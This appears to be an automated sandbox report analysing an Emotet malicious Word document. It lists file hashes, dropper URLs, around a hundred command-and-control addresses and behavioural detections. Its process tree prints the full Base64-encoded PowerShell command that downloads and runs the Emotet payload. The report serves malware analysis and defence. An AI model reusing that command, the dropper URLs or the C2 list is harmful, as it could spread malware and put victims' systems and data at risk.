Analysis
- max time kernel
137s - max time network
149s - platform
windows10_x64 - resource
win10 - submitted
29/09/2020, 19:34
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_efcc1ebecfca61615671f3a1c7fcf13219a83d9f529d2e288e386c49cb24fe6b_2020-09-29__193132443092._doc.doc
Resource
win7v200722
General
- Target emotet_e2_efcc1ebecfca61615671f3a1c7fcf13219a83d9f529d2e288e386c49cb24fe6b_2020-09-29__193132443092._doc.doc
- Size 188KB
- Sample200929-86jlvbb3kx
- SHA256 efcc1ebecfca61615671f3a1c7fcf13219a83d9f529d2e288e386c49cb24fe6b
- MD5 86030631fd76e08184719549906c58ab
- SHA1 85f78349d7083d0206ac6642e3dcbce345675dfe
- SHA512 9d267b819a0910d921026b09affea5427261ea3412c2f4c6aa7d6134ff1606e7a336fb26af6d7b4363078c310b03a913a992bea99f8ab57c361aad1c8ff8abad
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://techiweek.com/wp-includes/FW6/
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exe.dropper
https://ravi-tools.com/js/1/
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exe.dropper
https://providedigital.com/wp-admin/Igvi3l/
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exe.dropper
https://nghiencauca.com/wp-includes/BOInu4E/
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exe.dropper
http://jietuo66.com/hwqsv/oC/
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exe.dropper
https://oklatu.com/wp-admin/i/
-
exe.dropper
https://blog.thejobstack.com/pmloibg/M/
Extracted
-
emotet
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38.18.235.242:80
-
5.196.108.189:8080
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121.124.124.40:7080
-
104.236.246.93:8080
-
113.61.66.94:80
-
120.150.60.189:80
-
91.211.88.52:7080
-
47.144.21.12:443
-
108.46.29.236:80
-
139.162.108.71:8080
-
134.209.36.254:8080
-
139.59.60.244:8080
-
66.65.136.14:80
-
76.175.162.101:80
-
174.106.122.139:80
-
95.213.236.64:8080
-
174.45.13.118:80
-
50.35.17.13:80
-
209.141.54.221:8080
-
87.106.139.101:8080
-
96.249.236.156:443
-
176.111.60.55:8080
-
85.96.199.93:80
-
87.106.136.232:8080
-
97.82.79.83:80
-
185.94.252.104:443
-
79.98.24.39:8080
-
142.112.10.95:20
-
5.196.74.210:8080
-
94.1.108.190:443
-
24.137.76.62:80
-
121.7.127.163:80
-
37.139.21.175:8080
-
213.196.135.145:80
-
83.169.36.251:8080
-
24.179.13.119:80
-
137.59.187.107:8080
-
181.169.34.190:80
-
139.130.242.43:80
-
42.200.107.142:80
-
140.186.212.146:80
-
74.208.45.104:8080
-
188.219.31.12:80
-
105.186.233.33:80
-
93.147.212.206:80
-
194.187.133.160:443
-
61.19.246.238:443
-
85.152.162.105:80
-
5.39.91.110:7080
-
71.72.196.159:80
-
24.43.99.75:80
-
139.162.60.124:8080
-
124.41.215.226:80
-
67.10.155.92:80
-
109.74.5.95:8080
-
78.187.156.31:80
-
195.7.12.8:80
-
187.49.206.134:80
-
123.176.25.234:80
-
157.245.99.39:8080
-
78.188.106.53:443
-
94.200.114.161:80
-
94.23.237.171:443
-
104.251.33.179:80
-
68.252.26.78:80
-
75.139.38.211:80
-
103.86.49.11:8080
-
62.75.141.82:80
-
172.104.97.173:8080
-
79.137.83.50:443
-
110.142.236.207:80
-
162.241.242.173:8080
-
78.24.219.147:8080
-
91.146.156.228:80
-
118.83.154.64:443
-
216.139.123.119:80
-
121.7.31.214:80
-
181.169.235.7:80
-
139.99.158.11:443
-
172.91.208.86:80
-
46.105.131.79:8080
-
104.131.11.150:443
-
110.145.77.103:80
-
82.80.155.43:80
-
168.235.67.138:7080
-
50.91.114.38:80
-
137.119.36.33:80
-
203.153.216.189:7080
-
37.187.72.193:8080
-
24.43.32.186:80
-
130.0.132.242:80
-
80.241.255.202:8080
-
220.245.198.194:80
-
190.240.194.77:443
-
89.216.122.92:80
-
1.221.254.82:80
-
104.131.44.150:8080
-
62.30.7.67:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2104 496 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1920-17-0x0000000002360000-0x0000000002370000-memory.dmp emotet behavioral2/memory/1920-17-0x0000000002360000-0x0000000002370000-memory.dmp emotet behavioral2/memory/1652-23-0x0000000002180000-0x0000000002190000-memory.dmp emotet behavioral2/memory/1652-23-0x0000000002180000-0x0000000002190000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 15 2104 POwersheLL.exe 17 2104 POwersheLL.exe 19 2104 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1920 Xbuqklfzo.exe 1652 SystemPropertiesPerformance.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\typeperf\SystemPropertiesPerformance.exe Xbuqklfzo.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 976 WINWORD.EXE 976 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2104 POwersheLL.exe 2104 POwersheLL.exe 2104 POwersheLL.exe 1652 SystemPropertiesPerformance.exe 1652 SystemPropertiesPerformance.exe 1652 SystemPropertiesPerformance.exe 1652 SystemPropertiesPerformance.exe 1652 SystemPropertiesPerformance.exe 1652 SystemPropertiesPerformance.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2104 POwersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 976 WINWORD.EXE 976 WINWORD.EXE 976 WINWORD.EXE 976 WINWORD.EXE 976 WINWORD.EXE 976 WINWORD.EXE 976 WINWORD.EXE 976 WINWORD.EXE 976 WINWORD.EXE 1920 Xbuqklfzo.exe 1920 Xbuqklfzo.exe 1652 SystemPropertiesPerformance.exe 1652 SystemPropertiesPerformance.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2104 wrote to memory of 1920 2104 POwersheLL.exe 79 PID 2104 wrote to memory of 1920 2104 POwersheLL.exe 79 PID 2104 wrote to memory of 1920 2104 POwersheLL.exe 79 PID 1920 wrote to memory of 1652 1920 Xbuqklfzo.exe 83 PID 1920 wrote to memory of 1652 1920 Xbuqklfzo.exe 83 PID 1920 wrote to memory of 1652 1920 Xbuqklfzo.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_efcc1ebecfca61615671f3a1c7fcf13219a83d9f529d2e288e386c49cb24fe6b_2020-09-29__193132443092._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:976
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABSAHYAYgB1ADkAMABnAD0AKAAnAEoAJwArACgAJwByACcAKwAnADgAYQBkAHUAJwApACsAJwAzACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAFIAbwBmAEkAbABFAFwAZgAyAGMANAB4AHQAawBcAHkAcQBfAGkAYgB4AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAUgBgAGkAdABZAGAAUAByAE8AVABPAGAAYwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAnACsAJwAsACAAJwApACsAKAAnAHQAbABzACcAKwAnADEAMQAsACAAJwArACcAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEIAcwBtAHcAYgBiAHQAIAA9ACAAKAAnAFgAYgAnACsAKAAnAHUAJwArACcAcQBrACcAKQArACgAJwBsACcAKwAnAGYAegBvACcAKQApADsAJABCAGQAYQBvAGEAcABjAD0AKAAnAFkAJwArACcAcgAnACsAKAAnAF8AXwAnACsAJwBfAGoAdQAnACkAKQA7ACQARgB6ADIAXwB0AGEAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFcAJwArACcAbwA1AEYAJwApACsAKAAnADIAYwAnACsAJwA0ACcAKwAnAHgAdABrACcAKQArACcAVwBvACcAKwAoACcANQBZAHEAXwAnACsAJwBpAGIAeAAnACkAKwAoACcAcABXAG8AJwArACcANQAnACkAKQAuACIAUgBlAGAAUABsAEEAQwBFACIAKAAoACcAVwAnACsAJwBvADUAJwApACwAJwBcACcAKQApACsAJABCAHMAbQB3AGIAYgB0ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAGcAeABqAGcAbgB6AD0AKAAnAEoAYQAnACsAJwBjAF8AJwArACgAJwAyACcAKwAnAG4AcAAnACkAKQA7ACQASgA0AG4AagBpAHoAOQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQAWQBfAHQAMABzAHEAZwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAJwB0ACcAKwAoACcAZQBjACcAKwAnAGgAaQB3AGUAZQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGkAbgBjACcAKwAnAGwAdQBkACcAKQArACgAJwBlAHMALwBGAFcANgAnACsAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAcgAnACsAJwBhAHYAJwApACsAKAAnAGkAJwArACcALQB0AG8AbwBsAHMAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwBqAHMALwAxACcAKQArACcALwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwBzADoALwAvACcAKQArACgAJwBwAHIAbwAnACsAJwB2AGkAJwApACsAJwBkACcAKwAoACcAZQBkAGkAJwArACcAZwAnACkAKwAoACcAaQB0AGEAbAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhAGQAbQBpACcAKwAnAG4AJwArACcALwBJAGcAdgBpACcAKwAnADMAJwArACcAbAAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAKAAnAHMAOgAnACsAJwAvACcAKQArACgAJwAvAG4AJwArACcAZwAnACkAKwAnAGgAaQAnACsAKAAnAGUAbgBjACcAKwAnAGEAdQBjAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQBpAG4AJwArACcAYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMALwAnACsAJwBCAE8AJwArACgAJwBJAG4AdQAnACsAJwA0AEUALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AJwArACgAJwBqACcAKwAnAGkAJwArACcAZQB0AHUAbwA2ADYALgBjAG8AJwArACcAbQAvAGgAJwApACsAKAAnAHcAJwArACcAcQBzAHYALwBvACcAKQArACgAJwBDAC8AJwArACcAKgAnACkAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBvAGsAbABhAHQAJwArACcAdQAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAbQBpAG4ALwAnACkAKwAoACcAaQAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBiAGwAJwArACcAbwBnAC4AJwApACsAKAAnAHQAaABlAGoAbwBiAHMAdAAnACsAJwBhACcAKQArACcAYwAnACsAKAAnAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAnAHAAJwArACgAJwBtAGwAJwArACcAbwBpACcAKQArACcAYgAnACsAKAAnAGcAJwArACcALwBNACcAKQArACcALwAnACkALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABxADgAYwA4AF8AcgA9ACgAJwBZACcAKwAnADMAJwArACgAJwB4AGwAJwArACcAOAA4AGMAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABYAHAAMAAzAGcAbQBlACAAaQBuACAAJABZAF8AdAAwAHMAcQBnACkAewB0AHIAeQB7ACQASgA0AG4AagBpAHoAOQAuACIARABgAG8AYABXAG4ATABvAGAAQQBkAGYAaQBMAGUAIgAoACQAWABwADAAMwBnAG0AZQAsACAAJABGAHoAMgBfAHQAYQB3ACkAOwAkAFcAZgA3AF8AYwBmAG0APQAoACgAJwBLADgAYgAnACsAJwBfACcAKQArACcAbQAnACsAJwBkAHYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAegAyAF8AdABhAHcAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADEAMAAwADMAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQARgB6ADIAXwB0AGEAdwApADsAJABRADUAdABuAHIAaABxAD0AKAAnAEQAJwArACcAbQBvACcAKwAoACcAMgAnACsAJwBuAGgAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVQBkAHYAcwBxAGwAYQA9ACgAJwBGAHkAJwArACgAJwBhACcAKwAnADAAcgAnACkAKwAnAGYANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAagBrAGMAdAA5AG8APQAoACcATAAnACsAKAAnAGoAOAA0ACcAKwAnADkAOQAnACsAJwBiACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Users\Admin\F2c4xtk\Yq_ibxp\Xbuqklfzo.exe"C:\Users\Admin\F2c4xtk\Yq_ibxp\Xbuqklfzo.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\SysWOW64\typeperf\SystemPropertiesPerformance.exe"C:\Windows\SysWOW64\typeperf\SystemPropertiesPerformance.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1652
-
-